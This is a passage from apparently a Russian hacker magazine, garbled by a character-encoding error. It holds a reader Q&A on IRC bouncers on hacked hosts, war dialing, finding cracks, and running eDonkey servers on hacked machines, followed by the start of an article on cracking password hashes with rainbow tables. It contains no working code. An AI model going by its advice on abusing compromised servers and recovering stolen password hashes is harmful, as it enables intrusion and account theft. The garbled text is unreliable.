áûì õàêåðñêèì øèêîì ñ÷èòàëèñü ïîÿâëåíèÿ â Ñåòè ñ õîñòîâ ïîõàêàí-
íûõ îðãàíèçàöèé, îñîáåííî òåõ, ÷òî ñèäÿò â äîìåíàõ .mil è .gov :). Áû-
âàëè è ïðîñòî ïðèêîëüíûå õîñòû, âðîäå sacrifices.virgins.to.theevil.net,
íà êîòîðîì ÿ ñàì ñèäåë òðè ãîäà íàçàä. Åñòü åùå è ñïåöèàëüíûå
ôèøêè � âîçìîæíîñòü äåðæàòü êîííåêò, êîãäà òåáÿ ñàìîãî íåò â Ñå-
òè. Áûâàëî âåñåëî ñâàëèòü èç Ñåòè, îñòàâèâ ñâîé away-íèê, à ïîòîì
âèäåòü â whois is away 12 days :). Òàêæå áàóíñåðàìè ìîæíî ñãðåáàòü
âàðåç: ó íåêîòîðûõ èç íèõ, âðîäå psyBNC, åñòü îïöèÿ ïåðåõâàòà DCC-
ïîòîêîâ, êîãäà âåñü ñîîòâåòñòâóþùèé òðàôèê ëîæèòñÿ íà ñåðâåð.
Òàê, ñêàæåì, ïðîêñèê ñòîèò ó ïðîâàéäåðà â òâîåìó ãîðîäå, êóäà òû
õîäèøü ðàç â íåäåëþ ñïèñàòü ñâåæèå ìóâèêè ê ñåáå íà íîóò. Âïîëíå
ïîíÿòíî, ÷òî äëÿ óñòàíîâêè bnc íóæåí ðàáî÷èé shell-àêêàóíò. 

QQ:: ÊÊààêê õõààêêååððûû èèññïïîîëëüüççóóþþòò ïïååððååõõîîääííèèêêèè CCOOMM22IIPP??
A: Èìåþòñÿ â âèäó íå ìåõàíè÷åñêèå ïåðåõîäíèêè, à ñïåöèàëüíûé
ñîôò, êîòîðûé ïîçâîëèò ðàñêðûòü òâîé (âîçìîæíî, è ÷óæîé :)) COM-
ïîðò (RS-232) äëÿ äîñòóïà èç Ñåòè. Òåïåðü ëþáîé äåâàéñ, ïîäêëþ-
÷åííûé ê ñåðèéíîìó ïîðòó, îêàæåòñÿ âèäåí èç èíåòà. Â ìèðíûõ öå-
ëÿõ ýòî èñïîëüçóåòñÿ äëÿ óäàëåííîãî èñïîëüçîâàíèÿ ðàçíîîáðàçíûõ
äåâàéñîâ, êîòîðûå äî ñèõ ïîð âèñÿò íà äîèñòîðè÷åñêîì com-ïîðòå,
âðîäå ñ÷èòûâàòåëåé øòðèõ-êîäîâ, êàññîâûõ àïïàðàòîâ è âåñîâ. Õà-
êåðû æå è ïî ñåé äåíü èñïîëüçóþò äàííóþ óëîâêó äëÿ ñîçäàíèÿ dial-
out'îâ, òî åñòü ñåòåâûõ òî÷åê, îòêóäà ìîæíî èñïîëüçîâàòü óäàëåí-
íûå ìîäåìû. Òå, â ñâîþ î÷åðåäü, ìîãóò áûòü èñïîëüçîâàíû äëÿ war
dialing'à, íå ñòîëü àêòóàëüíîãî êàê ïðåæäå, íî âñå åùå âîñòðåáîâàí-
íîãî îòäåëüíûìè òåíåâûìè ýëåìåíòàìè. Dial-out'û ïîëåçíû è äëÿ
ïîäíÿòèÿ óðîâíÿ àíîíèìíîñòè. Áîëüøàÿ ÷àñòü ñîôòèí-êîíâåðòîðîâ,
âðîäå RS232 to TCP/IP Converter 3.0 (www.taltech.com/products/tcp-
com.html), óìåþò òàêæå ñîçäàâàòü âèðòóàëüíûå êîì-ïîðòû, êîòîðûå
óæå ëèíêóþòñÿ ñ COM-äåâàéñàìè íà óäàëåííîì êîìïå ÷åðåç TCP/IP.
Â íàñòðîéêàõ «Óäàëåííîãî ñîåäèíåíèÿ» òû óêàçûâàåøü «Ñòàíäàðò-
íûé ìîäåì» óñòàíîâëåííûé íà òîì ïîðòó. Îòäåëüíàÿ ñîôòèíà èìå-
åò åùå áîëüøå íàñòðîåê ïî òåìå âèðòóàëüíûõ ïîðòîâ � VSPD
Manager (www.tibbo.com/tdst_vspman.php).

QQ:: ÒÒààêê,, àà ââ ÷÷ååìì ññóóòòüü wwaarr ddiiaalliinngg''aa?? ÆÆèèââîî ëëèè ýýòòîî ññååéé÷÷ààññ??
A: Êàê áûëî ñêàçàíî â ïðåäûäóùåì âîïðîñå, òåìà íåñêîëüêî ïîòå-
ðÿëà ñâîþ àêòóàëüíîñòü, íî 10�20 ëåò íàçàä àêòèâíî þçàëàñü õàêå-
ðàìè. Åñëè òû ïîìíèøü ôèëüì War Games, òî òàì þíûé õàêåð çàõ-
âàòèë Ïåíòàãîí, îñóùåñòâèâ ïðîçâîí ïî ñåðèè íîìåðîâ war dialer'îì.
Â êîðïîðàòèâíûõ ñåòÿõ ïîðîé íàõîäèëîñü ìíîãî ìîäåìíûõ ïóëîâ,
ãäå ìîæíî áûëî ïîäðóáèòüñÿ ê ñåòè áåç àâòîðèçàöèè èëè ïóòåì ââî-
äà íåêèõ äåôîëòîâûõ êîìáèíàöèé, âðîäå admin:admin. Åñëè àòàêà
îñóùåñòâëÿëàñü íàóãàä, áåç òî÷íî íàìå÷åííîé ìèøåíè, ïðîçâîí
ìîã çàíÿòü ìíîãî äíåé è íåäåëü. Òóïûì ïåðåáîðîì íîìåðîâ âûÿâëÿ-
ëèñü ìåñòà äèñëîêàöèè ìîäåìîâ îòäåëüíûõ ôèðì è ó÷ðåæäåíèé. Â
ñòàðûå âðåìåíà, êîãäà Èíåò áûë äîñòóïåí òîëüêî ðàçëè÷íûì ÍÈÈ è
âîåííûì, îáùèòåëüíûå êîìïüþòåðùèêè îòûñêèâàëè war dialer'àìè
äðóæåñêèå BBS'êè. Â Õ ¹6 çà 2000 ãîä (ëåæèò íà www.xakep.ru) åñòü
áîëüøîé îáçîð ðàçëè÷íûõ ñîôòèí ïðåäñòàâëåííîãî ñåìåéñòâà.

Áóäü ãîòîâ, ÷òî ìíîãèå èç íèõ ñòàíóò ðàáîòàòü ëèøü ïîä MS-DOS'îì
:). Îäíàæäû ÿ íàáëþäàë î÷åíü êðàñèâûé âçëîì, êîãäà áûë çàõâà÷åí
ñåðâåð êîíòîðû, ãäå áûë óñòàíîâëåí *nix-äèàëåð, ðàáîòàâøèé ñ äå-
ñÿòêîì ìîäåìîâ êîíòîðû îäíîâðåìåííî. Òàêèì îáðàçîì, èñïîëüçóÿ
òîíàëüíûé íàáîð è èìåÿ óêàçàííûé äåñÿòîê ìîäåìîâ, äîñòèãàëàñü
äîâîëüíî âûñîêàÿ ñêîðîñòü ïåðåáîðà íîìåðîâ. Îòäåëüíûå ëþäè
ðàññòàâëÿëè ïîäîáíûå øòóêè â ðàçíûõ ãîðîäàõ, ñîáèðàÿ èíôîðìà-
öèþ èç íåñêîëüêèõ ñòðàí îäíîâðåìåííî.

QQ:: ÂÂ êêîîòòîîððûûéé ððààçç ííåå ììîîããóó ííààééòòèè êêððýýêê êê ïïîîññëëååääííååéé ââååððññèèèè ññîîôôòòèè-
ííûû.. ÃÃääåå ááððààòòüü ññââååææóóþþ êêððýýêêââóó??
A: Îáûêíîâåííî, ëåêàðñòâà äëÿ ïîï-ñîôòà, ðàáîò ìàññîâîãî õà-
ðàêòåðà, âðîäå The Bat! è MS Office, âûõîäÿò â ñâåò ñðàçó, ìèíóÿ
private-ýòàï, êîãäà ðåøåíèå îêàçûâàåòñÿ äîñòóïíî ëèøü èçáðàí-
íûì. Îäíàêî êðýêåðû ÷àñòåíüêî çàïàçäûâàþò, íå óêëàäûâàÿñü äà-
æå â ñðîêè. Ïðè ïîäîáíûõ ðàñêëàäàõ òå, êîìó æàëü îòäàâàòü ñâîè
êðîâíûå, èäóò íåìíîãî äðóãèì ïóòåì � ñòàðàþòñÿ óñòàíîâèòü áî-
ëåå ñòàðóþ âåðñèþ ïðîãðàììû, äëÿ êîòîðîé ñóùåñòâóåò ëåêàð-
ñòâî. Òåì áîëåå, ÷òî îáû÷íî îáíîâëåíèå ñ 1.31 äî 1.32 íå íåñåò â
ñåáå ÷åãî-òî êàðäèíàëüíîãî (ñëó÷àè ñåðüåçíûõ áàãîâ � íå â ñ÷åò),
òàê ÷òî ïîëüçîâàòåëè áîëåå ðàííèõ âåðñèé íå î÷åíü-òî îáëàìûâà-
þòñÿ. Ïî ýòîé ïðè÷èíå íà îôèöèàëüíûõ ñàéòàõ êîììåð÷åñêîãî
ñîôòà òû íèêîãäà íå âñòðåòèøü ññûëîê íà ðàííèå âåðñèè ïðîäóê-
òà. Ñêà÷àòü óñòàðåâøèå ïðîãðàììû ìîæíî íà ëþáîì èç download-
ñàéòîâ, âðîäå tucows.com, êîòîðûå åùå íå óñïåëè îáíîâèòü âåð-
ñèþ ñîôòèíû.

QQ:: ÔÔààééððââîîëë óóææåå ííààääîîååëë ññïïððààøøèèââààòòüü ððààççððååøøååííèèÿÿ ííàà ññîîååääèèííååííèèÿÿ ììîîåå-
ããîî ÈÈííòòååððííååòò-ïïååééääææååððàà.. ÌÌîîææííîî ååããîî êêààêê-òòîî ññääååëëààòòüü ììååííåååå ããîîëëîîññèèññòòûûìì??
A: Ñàìîå ïðîñòîå, íî è ñàìîå íåîñòîðîæíîå ðåøåíèå � âîîáùå
îòðóáèòü firewall. Áîëåå ãðàìîòíûì áóäåò âûáîð îïöèè, âðîäå
Allow all activities for this application, êîãäà áóäåò äàí çåëåíûé ñâåò
îòäåëüíîé ñîôòèíå íà âñå âîçìîæíûå ñîåäèíåíèÿ ïî èíåòó. Ñ ïî-
äîáíûì ÿ íàêîëîëñÿ ëèøü îäíàæäû, äîâåðèâ âñå ñîåäèíåíèÿ äëÿ
ëîêàëüíîãî SMTP-ñåðâåðà, êîãäà ïàðà ëèõîäååâ èçâíå óñïåëè
íåìíîãî ïîñïàìèòü ñ ìîåãî õîñòà. Çäåñü íàäî áûëî ðàçðåøèòü
âñå âèäû ñîåäèíåíèé äëÿ ñîôòèíû, íî ëèøü ñ localhost è ïàðû
èçáðàííûõ àäðåñîâ â ëîêàëêå. Òàêæå, îòäàâàÿ ïîäîáíóþ ñâîáîäó
ñîôòó, ïîìíè î çàùèòå îò óìíûõ òðîÿíñêèõ êîíåé, êîòîðûå óìåþò
èíæåêòèðîâàòü ñâîé êîä âî âíåøíèå ïðîöåññû.

QQ:: ÏÏîîððóóòòààëë ííååääààââííîî ääââàà ññååððââååððàà.. ÄÄóóììààþþ ââîîòò,, ññòòîîèèòò ëëèè ïïîîääííÿÿòòüü òòààìì
ee-DDoonnkkeeyy ññååððââèèññ?? ÅÅññëëèè ääàà,, òòîî êêààêêîîéé??
A: Âñå çàâèñèò îò ñåðüåçíîñòè íàìåðåíèé. Åñëè ïðîñòî õî÷åòñÿ ïî-
÷óâñòâîâàòü ñåáÿ îòöîì íà íåñêîëüêî äíåé, òî ýòî ìîæåò áûòü è ðå-
øåíèåì. Ïîäîáíûé ñåðâåð ñîçäàåò íåìàëåíüêèé òðàôèê, êîòîðûé
âðÿä ëè îêàæåòñÿ íåçàìå÷åí íàñòîÿùèìè àäìèíàìè. Åñëè ïðåäîñòå-
ðåæåíèå êàæåòñÿ íåàêòóàëüíûì, è àäìèíû âìåñòî ðàáîòû ñîñóò ëà-
ïó 24/7, òî åñòü íåñêîëüêî ðàáî÷èõ ñåðâåðîâ. Òàêæå ñòîèò ïîìíèòü,
÷òî íå âñå õàáû eDonkey âîçüìóò ê ñåáå ñåðâàíò áåç ïèñüìà îò ãëàâ-
íîãî àäìèíèñòðàòîðà Ñåòè, ãäå áóäåò ðàñïîëîæåíî ëèíêóåìîå äîá-
ðî. Êîíå÷íî, îñîáî îò÷àÿííûå ëþäè ñìîãó íàïèñàòü ïîäîáíîå ïèñü-
ìî è ïîñëàòü îò èìåíè íà÷àëüíèêà, íî ÷òî äåëàòü, êîãäà e-Donkey'åâ-
öû áóäóò çâîíèòü ýòîìó àäìèíó? Â ëþáîì ñëó÷àå, ê ðàññìîòðåíèþ
ïðåäëàãàåòñÿ Dserver � ñàìîå ïîïóëÿðíîå ðåøåíèå Ñåòè, äîñòóï-
íîå íà lugdunum2k.free.fr. Â Õ ¹10 çà 2004 ÿ ðàññêàçûâàë âñå äåòà-
ëè íàñòðîéêè ýòîãî ïðîäóêòà â çàïðåùåííîé íûíå ðóáðèêå Leech.

QQ:: ÊÊààêê óóññòòððààèèââààþþòò ïïððîîââîîêêààööèèèè ïïîî ççààêêððûûòòèèþþ IIRRCC-êêààííààëëîîââ??
A: Êàê ïîäñòàâëÿþò ëþäåé, ñäàþò èõ ÷åêèñòàì? Äà, íàõîäÿò ó íèõ îã-
íåñòðåëüíîå îðóæèå è íàðêîòèêè. IRC-êàíàëû çàêðûâàþò ïîñëå óñ-
òàíîâëåíèÿ íåçàêîííûõ äåéñòâèé ñî ñòîðîíû åãî àäìèíèñòðàöèè.
Ðàññêàæó ïðî çàêðûòèå îäíîãî ÷àíà ñåðâèñíîé ñåòè. Êàíàë áûë
áîëüøîé è èçâåñòíûé, ëèïà, âðîäå íàïèñàíèÿ àðáóçîâ (abuse), íà
îïåðàòîðîâ íå êàòèëà, íóæíî áûëî ñîçäàòü áîëåå ñåðüåçíûé ïðåöå-
äåíò. Òîãäà çëîïûõàòåëè âçÿëèñü çà ðàçðàáîòêó áîòîâ êàíàëà. Íàé-
äÿ ïàðó áàãîâ â ñåòè, ãäå áûë çàëèò îäèí èç íèõ, íåãîäÿè çàõâàòèëè
áîò-ñåðâàíò. Òåïåðü eggdrop, êîòîðûé áûë ïðîïèñàí â SOP'àõ (ëþäè
ñòîÿùèå íàä îáû÷íûìè îïåðàòîðàìè), îêàçàëñÿ ïîä ïîëíûì êîíòðî-
ëåì âðåäèòåëåé. Òå, íåäîëãî äóìàÿ, ñíàðÿäèëè áîòâó êó÷åé ñïàì-
ñêðèïòîâ, ñòàëè ãîíÿòü áîòÿãó ïî ñîòíÿì äðóãèõ êàíàëîâ, ïðèãëàøàÿ
íà ñâîé ðîäíîé (invite-ñïàì). Òóò óæå áûëî î ÷åì ïèñàòü äîíîñ, ÷òî è
ïîñïåøèëè ñäåëàòü õîçÿåâà äðóãèõ êàíàëîâ. Ñåðâåð-îïû (îòöû Ñå-
òè, êîòîðûå îêàçûâàþòñÿ óðîâíåì âûøå èðêîïîâ) ïðèøëè íà êàíàë,
ñòàëè çàäàâàòü âîïðîñû. Âðåäèòåëè ïðîñåêëè, êòî âçÿëñÿ çà ðåøå-
íèå âîïðîñà, è íà÷àëè ðåêëàìèðîâàòü êàíàë òàì, ãäå ñèäåëè ñåðâåð-
îïåðàòîðû. Íà ñëåäóþùèé äåíü #channel áûë çàìîðîæåí 



Â ÑÎÂÐÅÌÅÍÍÛÕ ÑÈÑÒÅÌÀÕ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ
ÎÃÐÎÌÍÓÞ ÐÎËÜ ÈÃÐÀÞÒ ÕÝØ-ÔÓÍÊÖÈÈ � ÑÏÅ-
ÖÈÀËÜÍÛÅ ÎÒÎÁÐÀÆÅÍÈß, ÊÎÒÎÐÛÅ ÏÎ ÏÅÐÅÄÀÍ-
ÍÎÉ ÈÌ ÑÒÐÎÊÅ ÃÅÍÅÐÈÐÓÞÒ ÍÅÊÎÒÎÐÓÞ ÑÈÃÍÀÒÓ-
ÐÓ, ÎÒÏÅ×ÀÒÎÊ, ÈËÈ ØÈÔÐÓÞÒ ÝÒÓ ÑÒÐÎÊÓ. ÍÀ
ÑÒÐÀÍÈÖÀÕ ÍÀØÅÃÎ ÆÓÐÍÀËÀ ÌÛ ÍÅ ÐÀÇ ÑÒÀËÊÈ-
ÂÀËÈÑÜ Ñ ÏÐÎÁËÅÌÎÉ, ÊÎÃÄÀ ÍÓÆÍÎ ÁÛËÎ ÏÐÎÂÅ-
ÑÒÈ ÎÁÐÀÒÍÓÞ ÎÏÅÐÀÖÈÞ: ÏÎ ÈÇÂÅÑÒÍÎÌÓ ÇÍÀ×Å-
ÍÈÞ ÕÝØ-ÔÓÍÊÖÈÈ ÂÎÑÑÒÀÍÎÂÈÒÜ ÑÒÐÎÊÓ-ÎÐÈÃÈ-

ÍÀË. ÒÀÊÎÃÎ ÐÎÄÀ ÇÀÄÀ×È ÂÎÇÍÈÊÀÞÒ ÄÎÂÎËÜÍÎ
×ÀÑÒÎ. ÅÑËÈ ÕÎ×ÅØÜ ÓÇÍÀÒÜ ÏÎËÜÇÎÂÀÒÅËÜÑÊÈÉ
ÏÀÐÎËÜ ÂÎ ÂÇËÎÌÀÍÍÎÉ ÑÈÑÒÅÌÅ, ÏÎÄÊËÞ×ÈÒÜ-
Ñß Ê ×ÓÆÎÌÓ VPN-ÑÅÐÂÅÐÓ, ÒÎ ÒÅÁÅ ÏÐÈÄÅÒÑß
ËÎÌÀÒÜ ÇÀÕÂÀ×ÅÍÍÛÉ ÕÝØ. ÑÅÃÎÄÍß ÌÛ ÏÎÃÎÂÎ-
ÐÈÌ Î ÍÀÈÁÎËÅÅ ÑÎÂÐÅÌÅÍÍÎÌ È ÏÐÎÃÐÅÑÑÈÂ-
ÍÎÌ ÏÎÄÕÎÄÅ Ê ÐÅØÅÍÈÞ ÝÒÎÉ ÏÐÎÁËÅÌÛ, ÊÎ-
ÒÎÐÛÉ ÏÎÇÂÎËßÅÒ ÐÀÇÄÐÀÊÎÍÈÂÀÒÜ ÕÝØÈ ÇÀ
Ñ×ÈÒÀÍÍÛÅ ×ÀÑÛ | Íèêèòà Êèñëèöèí (nikitoz@real.xakep.ru)

[íà÷àëî] Â áîëüøèíñòâå ñèñòåì ïîëüçîâàòåëüñêèå ïàðîëè íå õðàíÿòñÿ â
îòêðûòîì âèäå, ðàçìåùàþòñÿ òîëüêî ëèøü ñîîòâåòñòâóþùèå èì çíà÷åíèÿ
õýø-ôóíêöèé. Ïðè ýòîì âîçíèêàåò òàêàÿ ñèòóàöèÿ, ÷òî äàæå ñàìà ñèñòåìà
íå çíàåò ïîëüçîâàòåëüñêîãî ïàðîëÿ: îíà ðàñïîëàãàåò ëèøü åãî îòïå÷àòêîì
è ïðè àóòåíòèôèêàöèè ñðàâíèâàåò õýø ïåðåäàííîé ïîëüçîâàòåëåì ñòðîêè
ñ òåì, ÷òî õðàíèòñÿ âíóòðè ñèñòåìû. Òàêèì îáðàçîì, äàæå åñëè âçëîìùè-
êó óäàåòñÿ çàõâàòèòü õýøè ïîëüçîâàòåëüñêèõ ïàðîëåé, îáû÷íî åìó íå
óäàåòñÿ èñïîëüçîâàòü ýòè çíà÷åíèÿ äëÿ ñâîèõ òåìíûõ äåëèøåê.
Ê ñîæàëåíèþ, ñåé÷àñ ìíîãèå ïðîåêòû ñòðàäàþò äîâîëüíî ñòðàííîé, íà
ìîé âçãëÿä, âåùüþ: îíè ñàìè ïðåäîñòàâëÿþò èíòåðôåéñ äëÿ àóòåíòèôè-
êàöèè ÷åðåç õýø-ïàðîëü, îáðàùàÿ â ìàðàçì âñþ ýòó çàòåþ ñ øèôðîâà-
íèåì. Çà ïðèìåðàìè äàëåêî õîäèòü íå íàäî: êó÷à web-ôîðóìîâ, êîòîðûå
õðàíÿò â ïîëüçîâàòåëüñêèõ cookies çàøèôðîâàííûå ïàðîëè è îñóùåñò-
âëÿþò àóòåíòèôèêàöèþ ïî ýòèì çíà÷åíèÿì.
Åñëè æå àóòåíòèôèêàöèÿ ïî õýø-ïàðîëþ íåâîçìîæíà, ïåðåä âçëîìùè-
êîì âñòàåò ñåðüåçíàÿ ïðîáëåìà: íóæíî êàêèì-òî ñïîñîáîì ïîëó÷èòü èñ-
õîäíóþ ñòðîêó ïî èçâåñòíîìó õýøó. Ñòðîãî ãîâîðÿ, ðåøåíèå ýòîé çàäà-
÷è íå åäèíñòâåííîå: íåëüçÿ èñêëþ÷àòü ñèòóàöèþ, ïðè êîòîðîé äâóì ðàç-
ëè÷íûì ñòðîêàì áóäåò ñîîòâåòñòâîâàòü îäíî è òîæå çíà÷åíèå õýø-ôóíê-
öèè. Èìåííî ïî ýòîé ïðè÷èíå ïðàâèëüíî ãîâîðèòü, ÷òî âçëîì õýøà � ýòî
ïîèñê êîëëèçèè, à íå èñõîäíîé ñòðîêè. Âåäü åñëè îäíîìó çíà÷åíèþ õý-
øà ñîîòâåòñòâóþò ñòðîêè «jkfdskhjvk» è «Qkfdjkvfdhlbdfhbf», íåâîçìîæíî
çíàòü íàâåðíÿêà, êàêóþ èç íèõ çàãàäàë ïîëüçîâàòåëü Ïåòÿ.
Êàêèì æå îáðàçîì âîçìîæíî íàéòè êîëëèçèþ? Ñàìûé ïðîñòîé âàðèàíò,
êîòîðûé ïðèõîäèò â ãîëîâó � òóïîé ïåðåáîð âñåõ âîçìîæíûõ çíà÷åíèé.
Ãåíåðèðóåòñÿ ìíîæåñòâî âñåõ äîïóñòèìûõ çíà÷åíèé ñòðîê-îðèãèíàëîâ, áå-

Èñïîëüçîâàíèå rainbow tables äëÿ
ñâåðõáûñòðîãî âçëîìà õýøåé

ðåòñÿ ïåðâûé ýëåìåíò, äëÿ íåãî ãåíåðèðóåòñÿ õýø, ñðàâíèâàåòñÿ ñ èçâåñò-
íûì. Åñëè çíà÷åíèÿ ñîâïàäàþò, ïðîöåññ çàêîí÷åí è êîëëèçèÿ íàéäåíà.
Åñëè íå ñîâïàäàþò, áåðåòñÿ ñëåäóþùèé ýëåìåíò. È òàê äî òåõ ïîð, ïîêà íå
îáíàðóæèòñÿ êîëëèçèÿ, ëèáî íå çàêîí÷èòñÿ ìíîæåñòâî ïðåòåíäåíòîâ.
Ê ñîæàëåíèþ, òàêîé ïîäõîä íå ìîæåò îáåñïå÷èòü õîðîøåé ïðîèçâî-
äèòåëüíîñòè. Äåëî â òîì, ÷òî ïðîöåññ ïåðåáîðà çàíèìàåò ðàçóìíîå
âðåìÿ òîëüêî â òîì ñëó÷àå, åñëè ìíîæåñòâî âàðèàíòîâ íå ñëèøêîì
âåëèêî. Ïåðåáîð âñåõ âîçìîæíûõ ñòðîê äëèíîé â 10 ñèìâîëîâ � ýòî
óæå íåçåìíàÿ çàäà÷à äëÿ PC-õàêåðà. Èìåííî ïî ýòîé ïðè÷èíå ëþäè
ñòàëè èñêàòü ïóòè ê òîìó, ÷òîáû îïòèìèçèðîâàòü ïðîöåññ ïîèñêà êîë-
ëèçèé. È ÷òî òû äóìàåøü, íàøëè.

[íîâûé ìåòîä] Âñå íà÷àëîñü ÷óòü ðàíüøå, ÷åì òû ïðåäïîëàãàë. Åùå
â 1980 ãîäó Ìàðòèí Õåëëìàí ïðåäëîæèë êàðäèíàëüíî íîâûé ïîäõîä ê
êðèïòîàíàëèçó õýø-ôóíêöèé: îí ïðåäëîæèë èñïîëüçîâàòü ïðåäâàðè-
òåëüíî âû÷èñëåííûå òàáëèöû, ðàçìåùåííûå â ïàìÿòè. Îäíàêî ñîâåð-
øåííî ïîíÿòíî, ÷òî õðàíèòü õýø-çíà÷åíèÿ âñåõ âîçìîæíûõ âàðèàíòîâ
êëþ÷åé � àáñóðäíàÿ çàòåÿ, êîòîðàÿ íè ê ÷åìó õîðîøåìó íå ïðèâåäåò.
Ìàëî òîãî, ÷òî òàêèå òàáëèöû áóäóò çàíèìàòü óìîïîìðà÷èòåëüíîå êîëè-
÷åñòâî òåðàáàéò, òàê åùå è ïîèñê ïî íèì áóäåò çàíèìàòü íåâåðîÿòíîå
êîëè÷åñòâî âðåìåíè.
Õåëëìàí ïðåäëîæèë äîâîëüíî îðèãèíàëüíóþ êîíöåïöèþ, êîòîðàÿ îñíî-
âûâàåòñÿ íà ðàçáèåíèè èñõîäíîãî ìíîæåñòâà êëþ÷åé íà íàáîð ïîäìíî-
æåñòâ. Íà ïðàêòèêå ýòî äåëàåòñÿ  ñëåäóþùèì îáðàçîì:

1 Ôèêñèðóåòñÿ ðàáî÷èé àëôàâèò, òî åñòü çàäàåòñÿ ìíîæåñòâî Q âñåõ
âîçìîæíûõ êëþ÷åé.

2 Ôèêñèðóåòñÿ ýëåìåíò q èç ìíîæåñòâà Q, è âû÷èñëÿåòñÿ çíà÷åíèå h
õýø-ôóíêöèè íà íåì.
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âåòñòâóþùóþ òåðìè-
íàëó öåïî÷êó, âêëþ-
÷àÿ ýëåìåíò, íåïî-
ñðåäñòâåííî ïðåä-
øåñòâóþùèé íà÷àëü-
íîìó çíà÷åíèþ K0, òî
åñòü êëþ÷, êîòîðûé
ìû èùåì. Îäíàêî òà-
êîé ïîçèòèâíûé ðà-
ñêëàä âîçìîæåí òîëü-
êî â òîì ñëó÷àå, åñëè â
ñãåíåðèðîâàííûõ òà-
áëèöàõ äåéñòâèòåëüíî
åñòü êîëëèçèÿ. Çäåñü
âïëîòíóþ âñòàåò ðå-
çîííûé âîïðîñ: ñêîëü-
êî æå íóæíî ñãåíåðè-
ðîâàòü öåïî÷åê, ÷òî-
áû îíè ïîêðûâàëè âñå ìíîæåñòâî âîçìîæíûõ êëþ÷åé. È ê ñîæàëåíèþ,
äàòü îäíîñëîæíûé îòâåò íåâîçìîæíî.

[ëèïêàÿ äðÿíü] Äåëî â òîì, ÷òî íå èñêëþ÷åí âàðèàíò, ïðè êîòîðîì öå-
ïî÷êè, íà÷èíàþùèåñÿ ñ ðàçëè÷íûõ êëþ÷åé, áóäóò èìåòü îäèíàêîâûå ýëå-
ìåíòû è áóäóò «ñëèïàòüñÿ» ïîñëå îïðåäåëåííîé ïîçèöèè. Ýòî ïðîèñõî-
äèò èç-çà ïðèðîäû ñðåçàþùåé ôóíêöèè: âåäü îíà îòîáðàæàåò áîëåå
ìîùíîå ìíîæåñòâî â ìåíåå ìîùíîå. Ïîíÿòíî, ÷òî âî ìíîæåñòâå õýøåé
âîçìîæíûõ ýëåìåíòîâ çíà÷èòåëüíî áîëüøå, ÷åì âî ìíîæåñòâå êëþ÷åé.
Ïî ýòîé ïðè÷èíå íåñêîëüêèì õýøàì ñîîòâåòñòâóåò òîëüêî îäèí êëþ÷.
Åñëè ó òåáÿ ïðîáëåìû ñ âîîáðàæåíèåì, íà ñîîòâåòñòâóþùåì ðèñóíêå
ìîæíî óâèäåòü íàãëÿäíóþ èëëþñòðàöèþ.
À ÿ ïîêà ïðîäîëæó îòâå÷àòü íà âîïðîñ î êîëè÷åñòâå öåïî÷åê. Âîîáùå ãî-
âîðÿ, ÷òîáû îáåñïå÷èòü ïîëíîå ïîêðûòèå ìíîæåñòâà Q, íåîáõîäèìî ñãå-
íåðèðîâàòü áåñêîíå÷íî áîëüøóþ òàáëèöó ñ öåïî÷êàìè. Äåëî â òîì, ÷òî
÷àñòîòà ñëèïàíèÿ öåïåé áûñòðî óâåëè÷èâàåòñÿ âìåñòå ñ ðîñòîì òàáëè-
öû. Ïîýòîìó ÷èñëî òðåáóåìûõ ïîñëåäîâàòåëüíîñòåé õàðàêòåðèçóåòñÿ
òðåáóåìîé âåðîÿòíîñòüþ (îáîçíà÷ó åå êàê P*) òîãî, ÷òî ïðîèçâîëüíûé
êëþ÷ q èç Q îêàæåòñÿ â íàøåé ñèñòåìå ïîäìíîæåñòâ, â íàøåé òàáëèöå.
Èìåííî òðåáóåìàÿ âåðîÿòíîñòü P* îïðåäåëÿåò íåîáõîäèìûé ðàçìåð òà-
áëèöû ñ öåïî÷êàìè. Îáðàòè âíèìàíèå, ÷òî ïîä «ðàçìåðîì» òàáëèöû ÿ
ïîíèìàþ êàê ÷èñëî öåïî÷åê, òàê è èõ äëèíó, îáà ýòè ïàðàìåòðà âëèÿþò
íà ÷àñòîòó ñëèïàíèÿ è ýôôåêòèâíîñòü ïîêðûòèÿ.
Â ðàáîòå Õåëëìàíà ñòðîãî âûâîäèòñÿ ôîðìóëà, ïî êîòîðîé ìîæíî âû÷è-
ñëèòü P* êàê ôóíêöèþ îò ÷èñëà öåïî÷åê, èõ äëèíû è ÷èñëà ýëåìåíòîâ âî
ìíîæåñòâå Q. Ýòî äîâîëüíî çäîðîâîå âûðàæåíèå, è ñàìî ïî ñåáå íàñ
ìàëî èíòåðåñóåò, íàñ áîëüøå çàáîòèò, ÷òî îíî ïîêàçûâàåò. Ñîáñòâåííî,

3Ïðè ïîìîùè íåêîòîðîé «ñðåçàþ-
ùåé» ôóíêöèè R èç õýøà ãåíåðèðó-
åòñÿ êëþ÷, ïðèíàäëåæàùèé ìíîæå-
ñòâó Q: q=R(h). Åñëè ÷èñëî ýëåìåí-
òîâ â öåïî÷êå ìåíüøå çàäàííîãî, òî
îñóùåñòâëÿåòñÿ ïåðåõîä ê ïóíêòó 2.

Òàêîé èòåðàòèâíûé ïðîöåññ âû-
ïîëíÿåòñÿ äî òåõ ïîð, ïîêà ìû íå
ïîëó÷èì öåïî÷êó äëèíîé t êëþ÷åé.
Ýòà ïîñëåäîâàòåëüíîñòü íå ðàçìå-
ùàåòñÿ öåëèêîì â ïàìÿòè, çàïèñû-
âàåòñÿ ëèøü ïåðâûé è ïîñëåäíèé
åå ýëåìåíòû. Â ýòîì è çàêëþ÷àåò-
ñÿ ñóòü ìåòîäà: åñëè â öåïî÷êå, ñêàæåì, 1500 êëþ÷åé, òî ìû íåñëàáî ýêî-
íîìèì ïàìÿòè, îáìåíèâàÿ åå íà âðåìÿ, íåîáõîäèìîå äëÿ äàëüíåéøåãî
êðèïòîàíàëèçà. Ê ñëîâó, â èñõîäíîì âàðèàíòå íàçâàíèå ýòîãî ìåòîäà ïå-
ðåâîäèòñÿ êàê «êîìïðîìèññ ìåæäó çàòðàòàìè âðåìåíè è ïàìÿòè â êðèï-
òîàíàëèçå», òàê ÷òî âñå ëîãè÷íî. Íî âåðíåìñÿ ê îïèñàíèþ ìåòîäà.
Ïðè ïîìîùè îïèñàííîãî àëãîðèòìà ãåíåðèðóåòñÿ îïðåäåëåííîå êîëè÷å-
ñòâî öåïî÷åê, êîòîðûå ìîæíî óäîáíî ïðåäñòàâèòü â âèäå äâóìåðíîãî
